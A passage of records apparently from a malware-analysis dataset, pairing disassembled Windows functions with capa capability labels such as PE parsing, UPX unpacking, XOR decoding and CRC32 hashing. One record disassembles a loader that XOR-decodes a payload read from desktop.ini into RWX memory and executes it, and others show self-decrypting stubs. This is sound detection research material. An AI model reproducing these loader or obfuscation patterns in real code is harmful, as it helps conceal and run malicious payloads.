joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b195
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x4406a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x38]
push eax
push esi
call dword [0x452f50]
test eax, eax
jne 0x41b1d8
mov eax, 0x200
jmp 0x41b361
mov ecx, dword [ebp - 0x38]
xor eax, eax
push ebx
xor ebx, ebx
inc eax
mov dword [ebp - 0x40], ecx
and dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ebx
je 0x41b1ef
mov dword [ebp - 0x3c], eax
test cl, 2
je 0x41b1f8
or dword [ebp - 0x3c], 2
test cl, 4
je 0x41b201
or dword [ebp - 0x3c], 4
mov eax, ecx
and eax, 0x10
je 0x41b20c
or dword [ebp - 0x3c], 0x10
test cl, 0x20
je 0x41b215
or dword [ebp - 0x3c], 0x20
cmp eax, ebx
je 0x41b222
or dword [ebp - 0x3c], 0x40000000
jmp 0x41b229
or dword [ebp - 0x3c], 0x80000000
or dword [ebp - 0x3c], 0x1000000
cmp dword [ebp - 0x40], ebx
jne 0x41b23c
or dword [ebp - 0x3c], 0x800000
push ebx
push esi
call dword [0x453030]
mov dword [ebp - 0x48], eax
cmp eax, 0x28
jbe 0x41b2e1
push ebx
push ebx
push ebx
push esi
call dword [0x452e70]
push ebx
lea eax, [ebp - 0x44]
push eax
push 2
lea eax, [ebp - 0x40]
push eax
push esi
call dword [0x452f7c]
push ebx
push ebx
push 0x24
push esi
call dword [0x452e70]
push ebx
lea eax, [ebp - 0x44]
push eax
push 4
lea eax, [ebp - 0x4c]
push eax
push esi
call dword [0x452f7c]
mov eax, 0x54ad
cmp word [ebp - 0x40], ax
jne 0x41b2e1
mov eax, dword [ebp - 0x4c]
lea ecx, [eax + 0x34]
cmp dword [ebp - 0x48], ecx
jbe 0x41b2e1
push ebx
push ebx
push eax
push esi
call dword [0x452e70]
push ebx
lea eax, [ebp - 0x44]
push eax
push 4
lea eax, [ebp - 0x5c]
push eax
push esi
call dword [0x452f7c]
mov eax, dword [ebp - 0x5c]
cmp eax, 0x5a4d
je 0x41b2da
cmp eax, 0x454e
je 0x41b2da
cmp eax, 0x454c
je 0x41b2da
cmp eax, 0x4550
jne 0x41b2e1
or dword [ebp - 0x3c], 0x400000
mov eax, dword [ebp - 0x58]
cmp eax, ebx
je 0x41b2ed
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
cmp eax, ebx
je 0x41b2f9
mov ecx, dword [ebp - 0x48]
mov dword [eax], ecx
cmp edi, ebx
je 0x41b332
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.0041b102
push dword [ebp - 0x20]
mov dword [edi], eax
push dword [ebp - 0x24]
mov dword [edi + 4], edx
call fcn.0041b102
push dword [ebp - 0x30]
mov dword [edi + 8], eax
push dword [ebp - 0x34]
mov dword [edi + 0xc], edx
call fcn.0041b102
add esp, 0x18
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], edx
mov esi, dword [ebp - 0x54]
cmp esi, ebx
pop ebx
je 0x41b35f
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.0041b124
movzx eax, word [ebp - 0x40]
movzx ecx, word [ebp - 0x3c]
shl eax, 0x10
add esp, 0x10
or eax, ecx
mov dword [esi], eax
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041e03a
leave
ret
Function at 0x41c007
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
xor edi, edi
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0x41c032
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
push edi
push eax
mov dword [esi + 0x6af6c], edi
call fcn.0041dfc0
mov ecx, dword [esp + 0x20]
mov eax, ecx
movzx edx, word [eax*8 + 0x4396a2]
mov dword [esi + 0x6af98], edx
movzx edx, word [eax*8 + 0x4396a0]
mov dword [esi + 0x6af9c], edx
movzx edx, word [eax*8 + 0x4396a4]
mov dword [esi + 0x6afa0], edx
movzx eax, word [eax*8 + 0x4396a6]
add esp, 0xc
mov dword [esi + 0x6af94], eax
cmp ecx, 2
jg 0x41c09a
mov eax, dword [esp + 0x18]
or word [eax], 4
jmp 0x41c0a7
cmp ecx, 8
jl 0x41c0a7
mov eax, dword [esp + 0x18]
or word [eax], 2
push 0x10000
lea ebx, [esi + 0x1af70]
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call dword [esi + 0xc]
add esp, 0xc
mov dword [esi + 0x6af90], eax
cmp eax, edi
je 0x41c10e
cmp eax, 0xffffffff
je 0x41c10e
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0x41c0e9
push esi
call fcn.0041a5fa
pop ecx
mov dword [esi + 0x6af7c], edi
xor eax, eax
movzx ecx, byte [ebx + eax]
shl edi, 5
xor edi, ecx
and edi, 0x7fff
inc eax
mov dword [esi + 0x6af7c], edi
cmp eax, 2
jb 0x41c0f1
jmp 0x41c11e
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
ret
Function at 0x41c6cb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0x6af80], 2
cmp dword [esi + 0x6af90], ebx
je 0x41c8d3
push edi
mov edi, 0x7fff
cmp dword [esi + 0x6af90], 3
jb 0x41c745
mov ecx, dword [esi + 0x6af84]
movzx eax, byte [ecx + esi + 0x1af72]
mov edx, dword [esi + 0x6af7c]
shl edx, 5
xor eax, edx
and eax, edi
mov dword [esi + 0x6af7c], eax
mov eax, dword [esi + eax*4 + 0x4af70]
and ecx, edi
mov dword [esi + ecx*4 + 0x2af70], eax
mov ecx, dword [esi + 0x6af84]
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x6af7c]
mov dword [esi + eax*4 + 0x4af70], ecx
cmp dword [ebp - 4], 0
je 0x41c788
mov eax, dword [esi + 0x6af84]
sub eax, dword [ebp - 4]
cmp eax, 0x7efa
ja 0x41c788
mov ecx, dword [esi + 0x6af90]
cmp dword [esi + 0x6afa0], ecx
jbe 0x41c76f
mov dword [esi + 0x6afa0], ecx
push dword [ebp - 4]
push esi
call fcn.0041a4b6
mov ebx, eax
mov eax, dword [esi + 0x6af90]
pop ecx
pop ecx
cmp ebx, eax
jbe 0x41c788
mov ebx, eax
cmp ebx, 3
jb 0x41c84d
lea eax, [ebx - 3]
push eax
mov eax, dword [esi + 0x6af84]
sub eax, dword [esi + 0x6af88]
push eax
push esi
call fcn.0041a041
sub dword [esi + 0x6af90], ebx
add esp, 0xc
mov dword [ebp + 8], eax
mov eax, dword [esi + 0x6af90]
cmp ebx, dword [esi + 0x6af98]
ja 0x41c81a
cmp eax, 3
jb 0x41c81a
dec ebx
inc dword [esi + 0x6af84]
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [esi + edx + 0x1af72]
mov eax, dword [esi + 0x6af7c]
shl eax, 5
xor ecx, eax
and ecx, edi
mov dword [esi + 0x6af7c], ecx
mov ecx, dword [esi + ecx*4 + 0x4af70]
and edx, edi
dec ebx
mov dword [esi + edx*4 + 0x2af70], ecx
mov eax, dword [esi + 0x6af7c]
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 0x6af84]
mov dword [esi + eax*4 + 0x4af70], ecx
jne 0x41c7c8
jmp 0x41c870
add dword [esi + 0x6af84], ebx
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [edx + esi + 0x1af70]
mov dword [esi + 0x6af7c], ecx
movzx edx, byte [edx + esi + 0x1af71]
shl ecx, 5
xor edx, ecx
xor ebx, ebx
and edx, edi
mov dword [esi + 0x6af7c], edx
jmp 0x41c876
mov eax, dword [esi + 0x6af84]
movzx eax, byte [eax + esi + 0x1af70]
push eax
push 0
push esi
call fcn.0041a041
add esp, 0xc
dec dword [esi + 0x6af90]
mov dword [ebp + 8], eax
inc dword [esi + 0x6af84]
cmp dword [ebp + 8], 0
je 0x41c8b2
mov eax, dword [esi + 0x6af74]
test eax, eax
js 0x41c88f
lea ecx, [eax + esi + 0x1af70]
jmp 0x41c891
xor ecx, ecx
mov edx, dword [esi + 0x6af84]
push 0
sub edx, eax
push edx
push ecx
push esi
call fcn.0041c548
mov eax, dword [esi + 0x6af84]
add esp, 0x10
mov dword [esi + 0x6af74], eax
cmp dword [esi + 0x6af90], 0x106
jae 0x41c8c5
push esi
call fcn.0041a5fa
pop ecx
cmp dword [esi + 0x6af90], 0
jne 0x41c6f5
pop edi
mov eax, dword [esi + 0x6af74]
test eax, eax
js 0x41c8e6
lea ecx, [eax + esi + 0x1af70]
jmp 0x41c8e8
xor ecx, ecx
mov edx, dword [esi + 0x6af84]
push 1
sub edx, eax
push edx
push ecx
push esi
call fcn.0041c548
add esp, 0x10
pop esi
pop ebx
leave
ret

Function at 0x41e03a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4406a0]
jne 0x41e044
repz ret
jmp fcn.0042321a
Function at 0x42cb2c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4406a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004249ed
and dword [ebp - 0x14], 0
cmp dword [0x454034], 0
mov dword [ebp - 0x18], eax
jne 0x42cbdf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x42cc87
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x42cc87
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x454034], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x454038], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x45403c], eax
call edi
push eax
call esi
mov dword [0x454044], eax
test eax, eax
je 0x42cbdf
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x454040], eax
mov eax, dword [0x454040]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x42cc38
cmp dword [0x454044], ecx
je 0x42cc38
push eax
call esi
push dword [0x454044]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x42cc38
test ebx, ebx
je 0x42cc38
call edi
test eax, eax
je 0x42cc2f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x42cc2f
test byte [ebp - 8], 1
jne 0x42cc38
or dword [ebp + 0x10], 0x200000
jmp 0x42cc6b
mov eax, dword [0x454038]
cmp eax, dword [ebp - 0x18]
je 0x42cc6b
push eax
call esi
test eax, eax
je 0x42cc6b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x42cc6b
mov eax, dword [0x45403c]
cmp eax, dword [ebp - 0x18]
je 0x42cc6b
push eax
call esi
test eax, eax
je 0x42cc6b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x454034]
call esi
test eax, eax
je 0x42cc87
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x42cc89
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e03a
leave
ret
Function at 0x423f36
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x431660
cmp edx, dword [eax]
je 0x423f58
add eax, 8
inc ecx
cmp eax, 0x4316f0
jl 0x423f49
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x431660]
jne 0x424086
mov eax, dword [0x434c94]
cmp eax, 1
je 0x424060
test eax, eax
jne 0x423f89
cmp dword [0x42ec54], 1
je 0x424060
cmp edx, 0xfc
je 0x424086
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x423fc0
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0041bb20
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0041baa0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x424003
lea eax, [ebp - 0x1a4]
push eax
call fcn.0041baa0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x429428
push edi
call fcn.0041b9a0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0041bb20
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0041bb30
lea eax, [ebp - 0xa0]
push 0x429408
push eax
call fcn.0041bb30
push dword [esi + 0x431664]
lea eax, [ebp - 0xa0]
push eax
call fcn.0041bb30
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00425cd8
add esp, 0x2c
pop edi
jmp 0x424086
lea eax, [ebp + 8]
lea esi, [esi + 0x431664]
push 0
push eax
push dword [esi]
call fcn.0041baa0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..reloc
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x44982551
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x2527342b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4884a8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x4884b2
pushal
call 0x4884b8
pop ebp
sub ebp, 0x10
sub ebp, 0x4084a8
jmp 0x4884ce
xchg byte [eax + 0x4084a8], bh
mov eax, 0x4084a8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5ec
mov edx, 0xc30af220
xor byte [eax], dl
inc eax
dec ecx
jne 0x4884e5
jmp 0x4884f8
stosd dword es:[edi], eax
in eax, dx
stosd dword es:[edi], eax
test eax, 0x2020201c
mov eax, dword [0x2020d8e1]
loope 0x4884db
and byte [eax], ah
and byte [ebx], ah
in eax, dx
cwde
and al, 0x20
and byte [eax], ah
lcall 0xc2d7, 0x20202008
and ebp, eax
stosd dword es:[edi], eax
mov eax, dword [0x2020202c]
and esp, ebp
jo 0x4884cd
inc esp
add al, 0xdc
test eax, 0x60480424
xchg edx, eax
and byte cs:[eax + 0x46], cl
adc dword [eax], esp
and dword [esp + eax], ecx
dec eax
xor byte [edi - 9], bl
loope 0x488501
and eax, 0xc9202020
push cs
and byte [eax], ah
and byte [ebp - 0x5623fbbc], ch
or al, 4
je 0x4885c8
stosd dword es:[edi], eax
movsd dword es:[edi], dword [esi]
sub byte [eax], ah
and byte [eax], ah
stosd dword es:[edi], eax
mov ch, 0x2c
and byte [eax], ah
and byte [ebx + 0x202030ad], ch
and cl, ah
leave
and dl, byte [ecx]
and ah, byte [ebx + 0x2f6924e2]
movsd dword es:[edi], dword [esi]
aam 0xdf
invalid
fcmovne st(0), st(0)
das
movsb byte es:[edi], byte [esi]
cmp ah, byte [eax]
and byte [eax], ah
mov al, byte [0xa42fc9db]
xor dword [eax], esp
and byte [eax], ah
inc esi
mov eax, dword [0x2f05dfdb]
movsb byte es:[edi], byte [esi]
xor eax, 0x61202020
leave
in al, dx
invalid
Function at 0xa48a30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x494000]
push edi
jmp 0xa48a4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xa48a51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa48a40
mov eax, 1
add ebx, ebx
jne 0xa48a63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xa48a74
jne 0xa48a93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa48a93
dec eax
add ebx, ebx
jne 0xa48a80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xa48a58
add ebx, ebx
jne 0xa48a8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xa48ae5
xor ecx, ecx
sub eax, 3
jb 0xa48aab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xa48b1a
sar eax, 1
mov ebp, eax
jmp 0xa48ab6
add ebx, ebx
jne 0xa48ab6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa48a84
inc ecx
add ebx, ebx
jne 0xa48ac4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa48a84
add ebx, ebx
jne 0xa48ad1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xa48ac6
jne 0xa48ae2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xa48ac6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xa48b04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xa48af6
jmp 0xa48a46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xa48b04
add edi, ecx
jmp 0xa48a46
pop esi
mov edi, esi
mov ecx, 0x16775
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xa48b22
cmp byte [edi], 0x97
jne 0xa48b22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xa48b27
lea edi, [esi + 0x625000]
mov eax, dword [edi]
or eax, eax
je 0xa48b9f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7b1ad4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7b1d00]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xa48b54
mov ecx, edi
jns 0xa48b83
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7b1d08]
or eax, eax
je 0xa48b99
mov dword [ebx], eax
add ebx, 4
jmp 0xa48b71
call dword [esi + 0x7b1d04]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xa48bd0
cmp al, 0xef
ja 0xa48bc3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xa48ba5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xa48bb2
mov ebp, dword [esi + 0x7b1d0c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x277]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xa48c04
sub esp, 0xffffff80
jmp 0x67ae57
Function at 0xf27ba2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0xf27ba2
lcall 0x5de5, 0x8b10c483
jmp fcn.01910640
Function at 0x405770
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405a3b
test bl, 8
mov dword [ebp - 8], eax
je 0x4057af
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x429268], eax
jmp 0x40592c
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x4057c9
test eax, eax
je 0x4058da
test bl, 2
je 0x4058da
mov esi, 0x4246d8
push edi
push esi
call fcn.00405ee8
cmp dword [ebp + 8], 0
je 0x4057e8
push 0x409530
push esi
call sub.KERNEL32.dll_lstrcatW
jmp 0x4057ee
push edi
call fcn.0040597f
cmp word [edi], 0
jne 0x4057fe
cmp word [0x4246d8], 0x5c
jne 0x405809
push 0x409014
push edi
call sub.KERNEL32.dll_lstrcatW
push edi
call sub.KERNEL32.dll_lstrlenW
lea ebx, [edi + eax*2]
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4058cf
cmp word [ebp - 0x22c], 0x2e
jne 0x405853
cmp word [ebp - 0x22a], 0
je 0x4058b2
cmp word [ebp - 0x22a], 0x2e
jne 0x405853
cmp word [ebp - 0x228], 0
je 0x4058b2
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.00405ee8
test byte [ebp - 0x258], 0x10
je 0x40587e
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4058b2
push dword [ebp + 0xc]
push edi
call fcn.00405770
jmp 0x4058b2
push dword [ebp - 4]
push edi
call fcn.00405728
test eax, eax
jne 0x4058aa
cmp dword [ebp - 4], eax
je 0x4058a2
push edi
push 0xfffffffffffffff1
call fcn.00405192
push 0
push edi
call fcn.00405d82
jmp 0x4058b2
inc dword [0x429268]
jmp 0x4058b2
push edi
push 0xfffffffffffffff2
call fcn.00405192
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40582b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x4058da
and word [ebx - 2], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x40592c
cmp dword [ebp - 8], esi
jne 0x4058ee
inc dword [0x429268]
jmp 0x40592c
push edi
call fcn.0040622b
test eax, eax
je 0x40592c
push edi
call fcn.00405933
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.00405728
test eax, eax
jne 0x405924
cmp dword [ebp - 4], esi
je 0x4058e6
push edi
push 0xfffffffffffffff1
call fcn.00405192
push esi
push edi
call fcn.00405d82
jmp 0x40592c
push edi
push 0xffffffffffffffe5
call fcn.00405192
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x406300
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x426d74], 0
push esi
jne 0x406337
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406311
mov dword [ecx*4 + 0x426d70], eax
inc ecx
cmp ecx, 0x100
jl 0x40630c
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406368
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x426d70]
xor eax, esi
inc ecx
dec edx
jne 0x40634a
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4073e2
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461134], 0
jne 0x407420
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4073f6
mov dword [ecx*4 + 0x461130], eax
inc ecx
cmp ecx, 0x100
jl 0x4073f1
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x40744d
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461130]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x40742e
not eax
pop ebp
ret 0xc

Function at 0x40a970
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8000]
push edi
jmp 0x40a98a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40a991
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40a980
mov eax, 1
add ebx, ebx
jne 0x40a9a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40a998
jne 0x40a9b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40a998
xor ecx, ecx
sub eax, 3
jb 0x40a9c8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40aa3a
mov ebp, eax
add ebx, ebx
jne 0x40a9d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40a9e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40aa04
inc ecx
add ebx, ebx
jne 0x40a9f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40a9e5
jne 0x40aa01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40a9e5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40aa24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40aa15
jmp 0x40a986
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40aa24
add edi, ecx
jmp 0x40a986
pop esi
lea edi, [esi + 0x8000]
mov eax, dword [edi]
or eax, eax
je 0x40aa83
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xcae0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xcb98]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40aa41
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xcba0]
or eax, eax
je 0x40aa7d
